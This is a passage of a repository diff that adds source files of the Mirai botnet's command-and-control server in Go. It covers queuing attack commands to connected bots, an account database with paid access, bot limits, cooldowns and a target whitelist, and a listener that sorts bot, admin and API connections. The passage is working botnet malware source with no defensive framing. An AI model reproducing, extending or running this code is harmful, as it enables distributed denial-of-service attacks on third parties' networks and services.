||||
delete(this.clients, del.uid)
|
||||
break
|
||||
case atk := <-this.atkQueue:
|
||||
if atk.count == -1 {
|
||||
for _,v := range this.clients {
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
var count int
|
||||
for _, v := range this.clients {
|
||||
if count > atk.count {
|
||||
break
|
||||
}
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
count++
|
||||
}
|
||||
}
|
||||
}
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
case <-this.distViewReq:
|
||||
res := make(map[string]int)
|
||||
for _,v := range this.clients {
|
||||
if ok,_ := res[v.source]; ok > 0 {
|
||||
res[v.source]++
|
||||
} else {
|
||||
res[v.source] = 1
|
||||
}
|
||||
}
|
||||
this.distViewRes <- res
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
40
mirai/cnc/constants.go
Executable file
40
mirai/cnc/constants.go
Executable file
@@ -0,0 +1,40 @@
|
||||
package main
|
||||
|
||||
const MiraiPrompt = `
|
||||
Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²±[0;31mÜ Ü[1;41m±²[40m[A
|
||||
[20C[40mß[41m²±[0;31mÜ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m°±²[40m[A
|
||||
[37C[41m²Û[6C[0;31mÜ[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²[40m[A
|
||||
[58C[41m±[0;31mÜ Ü[1;41m±²[1C[0;31mÜ[1;41m°±²²Û[1C²±°°±²²[40m
|
||||
[30;41m°[31m°±[1C±° [1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C±[40m[A
|
||||
[22C[41m°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[9C[30m°[31m°±[40m[A
|
||||
[48C[1C[41m±°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C[30m°[40m[A
|
||||
[66C[41m[31m°±[6C[30m°[31m°±[40m
|
||||
[30;41m±°[31m°[1C[30m±°[31m°[1C[30m±°[31m°[1C[30m±° [1C±°[40m[A
|
||||
[19C[41m[31m°[1C[30m°° [1C±°[31m°[1C[30m±° [1C±°[31m°[9C[40m[A
|
||||
[45C[41m[30m±°[31m°[1C[30m±° [1C±°[31m°[1C[30m±° [1C±°[31m[40m[A
|
||||
[63C[41m°[1C[30m±°[31m°[6C[30m±°[31m°[40m
|
||||
[30;41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[40m[A
|
||||
[36C[9C[41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±°[6C²±°[40m
|
||||
[41mÛ²±[1C[40mÛÛ[41m²[1CÛ²±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²±[1C[40m[A
|
||||
[25C[40mÞ[41m²²[40mÝ Û[41m²°[9C[40mÞ[41m²²[40mÝ [41mÛ²[40m[A
|
||||
[55C[41m±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²°[6C[40mÛ[41m²°[40m
|
||||
ÛÛ[41m²[1C²Û[40mÛ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ [A
|
||||
[21C[41m²[40mÛ[41m²[2C[40mßÛ[41m²[40mÛÜ ÛÛ[41m²[40mÜÜ[8CßÛ[A
|
||||
[48C[41m²[40mÛÜ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ ÛÛ[A
|
||||
[67C[41m²[40mÜÜ ÛÛÛ
|
||||
²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²[6CÛÛÛ
|
||||
²[47mÛ[40m²[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ[5CÛÛ² ÛÛ²[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²[6C²ÛÛ
|
||||
±[47mÛ[40m²[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²[A
|
||||
[68C[6C²Û²
|
||||
±[47mÛ[40m±[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±[A
|
||||
[68C[6C±Û±
|
||||
°[47mÛ[40m°[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°[A
|
||||
[68C[6C°Û°
|
||||
|
||||
SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE[A
|
||||
[75CA
|
||||
NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET!
|
||||
2.1 GIGZ ONLINE[6Cú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY
|
||||
|
||||
[19CANSI : THE MASKED PIRATEúIMPERIAL
|
||||
`
|
||||
145
mirai/cnc/database.go
Executable file
145
mirai/cnc/database.go
Executable file
@@ -0,0 +1,145 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"time"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type Database struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
type AccountInfo struct {
|
||||
username string
|
||||
maxBots int
|
||||
admin int
|
||||
}
|
||||
|
||||
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
|
||||
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
fmt.Println("Mysql DB opened")
|
||||
return &Database{db}
|
||||
}
|
||||
|
||||
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
||||
|
||||
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
|
||||
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
if rows.Next() {
|
||||
return false
|
||||
}
|
||||
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
|
||||
return true
|
||||
}
|
||||
|
||||
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
|
||||
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var prefix string
|
||||
var netmask uint8
|
||||
rows.Scan(&prefix, &netmask)
|
||||
|
||||
// Parse prefix
|
||||
ip := net.ParseIP(prefix)
|
||||
ip = ip[12:]
|
||||
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
|
||||
|
||||
for aPNetworkOrder, aN := range attack.Targets {
|
||||
rvBuf := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
|
||||
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
|
||||
if aN > netmask { // Whitelist is less specific than attack target
|
||||
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
|
||||
return true
|
||||
}
|
||||
} else if aN < netmask { // Attack target is less specific than whitelist
|
||||
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
|
||||
return true
|
||||
}
|
||||
} else { // Both target and whitelist have same prefix
|
||||
if (iWhitelistPrefix == iAttackPrefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
|
||||
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
|
||||
defer rows.Close()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var userId, durationLimit, cooldown uint32
|
||||
if !rows.Next() {
|
||||
return false, errors.New("Your access has been terminated")
|
||||
}
|
||||
rows.Scan(&userId, &durationLimit, &cooldown)
|
||||
|
||||
if durationLimit != 0 && duration > durationLimit {
|
||||
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
if allowConcurrent == 0 {
|
||||
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if rows.Next() {
|
||||
var timeSent, historyDuration uint32
|
||||
rows.Scan(&timeSent, &historyDuration)
|
||||
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
|
||||
}
|
||||
}
|
||||
|
||||
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
||||
113
mirai/cnc/main.go
Executable file
113
mirai/cnc/main.go
Executable file
@@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"errors"
|
||||
"time"
|
||||
)
|
||||
|
||||
const DatabaseAddr string = "127.0.0.1"
|
||||
const DatabaseUser string = "root"
|
||||
const DatabasePass string = "password"
|
||||
const DatabaseTable string = "mirai"
|
||||
|
||||
var clientList *ClientList = NewClientList()
|
||||
var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
|
||||
|
||||
func main() {
|
||||
tel, err := net.Listen("tcp", "0.0.0.0:23")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
api, err := net.Listen("tcp", "0.0.0.0:101")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := api.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go apiHandler(conn)
|
||||
}
|
||||
}()
|
||||
|
||||
for {
|
||||
conn, err := tel.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go initialHandler(conn)
|
||||
}
|
||||
|
||||
fmt.Println("Stopped accepting clients")
|
||||
}
|
||||
|
||||
func initialHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(10 * time.Second))
|
||||
|
||||
buf := make([]byte, 32)
|
||||
l, err := conn.Read(buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
|
||||
if buf[3] > 0 {
|
||||
string_len := make([]byte, 1)
|
||||
l, err := conn.Read(string_len)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
var source string
|
||||
if string_len[0] > 0 {
|
||||
source_buf := make([]byte, string_len[0])
|
||||
l, err := conn.Read(source_buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
source = string(source_buf)
|
||||
}
|
||||
NewBot(conn, buf[3], source).Handle()
|
||||
} else {
|
||||
NewBot(conn, buf[3], "").Handle()
|
||||
}
|
||||
} else {
|
||||
NewAdmin(conn).Handle()
|
||||
}
|
||||
}
|
||||
|
||||
func apiHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
NewApi(conn).Handle()
|
||||
}
|
||||
|
||||
func readXBytes(conn net.Conn, buf []byte) (error) {
|
||||
tl := 0
|
||||
|
||||
for tl < len(buf) {
|
||||
n, err := conn.Read(buf[tl:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return errors.New("Connection closed unexpectedly")
|
||||
}
|
||||
tl += n
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func netshift(prefix uint32, netmask uint8) uint32 {
|
||||
return uint32(prefix >> (32 - netmask))
|
||||
}
|
||||
Reference in New Issue
Block a user